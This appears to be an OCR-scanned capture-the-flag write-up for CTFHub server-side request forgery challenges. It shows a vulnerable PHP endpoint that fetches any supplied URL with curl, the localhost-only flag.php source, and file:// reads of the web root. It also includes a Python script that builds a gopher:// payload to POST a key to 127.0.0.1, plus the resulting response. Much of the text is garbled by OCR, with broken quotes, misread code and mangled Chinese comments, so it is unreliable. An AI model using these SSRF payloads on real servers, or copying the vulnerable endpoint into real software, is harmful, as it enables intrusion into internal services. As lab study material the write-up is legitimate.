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<{form action="/flag.php” method="post”>
{input type="text” name="key" >

<!— Debug: key=cB09fc02550ce7i2ara%earbl 78e58ee—2
</ form>
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C & view-source:http://challenge-7d6f775848d021a3.sandbox.ctfhub.com: 10800/ furl=file:// jvarfwww/html/flag. php
<{?php
error_reporting (0);

if ($_SERVER["REMOTE _ADDR"] != "127.0.0.17) {
echo “Just View From 127.0.0.17;

return;

}

$rlag=getenv ("CTFHUB") ;
S$key = md5($flag) ;

if (isset ($_POST[ key”]) && $_POST[ key”] == $key) |
echo $flag:
exit;

2>

{form action="/flag. php” method="post”>

<{input type="text” name="key">

<!— Debug: key={(Pphp echo Skey; ?>—>
</ form>
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<?php
error_reporting(0);

if (lisset($_REQUEST[ ur1 1)) {
header ("Location: /Purl=_"):
exit;

$ch = curl_init();

curl_setopt (§ch, CURLOPT URL, § REQUEST[ url’]);
curl_setopt ($ch, CURLOPT_HEADER, 0):

curl_setopt ($ch, CURLOPT FOLLOWLOCATION, 1);
curl_exee ($ch) ;

curl close($ch) ;
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#coding=GBK
# BB P SCTEM R, AT SR AL A GBK g

import urllib.parse

payload =\

POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=9f3d5f2eb4dfc2a8f4e241f9c093d9de
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tmp = urllib.parse.quote(payload)

new = tmp.replace('%0A", '%OD%OA")

result = 'gopher://127.0.0.1:80/'+"'_'+new

result = urllib.parse.quote(result)

print(result) # 33X B AR GETIE SR AT LAZEREAT I X ur 14w s
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TTP/1.1 200 OK Date: Sun, 17 Oct 2021 13:24:28 GMT Server: Apache/2.4.25 (Debian) X-Powered-By: PHP/5.6.40 Content-Length: 32 Content-Type: text/html; charset=UTF-8 ctfhub{82d439bc279f5148aec2bf79}
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file:///var/www/html/flag.php

RIAH —A> bk, (HRRARZEH, RINGEA CHE

“ C @ O & challenge-b002efb9dfas56ca.sandbox.ctfhub.com: 10800/ ?url=file://fvar/www/htmi/flag.php
_O)echo getenv('CTFHUB") exit; ) ?> Upload Webshell
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<!--?php error_reporting(e); if($_SERVER["REMOT echo "Just view From 127.2.8.1%; return; } if(isset($_FILES["file"]} && $ FILES["file"]["size"]--> TE O {
HAR >
<html> b
head></head
¥ <body>

@){ eche getenv("CTFHUB"); exit; } 2> uplea
1 enct

<input type="submit" name="1111"»

</form»
</body>
</html> Csh @hn0lel
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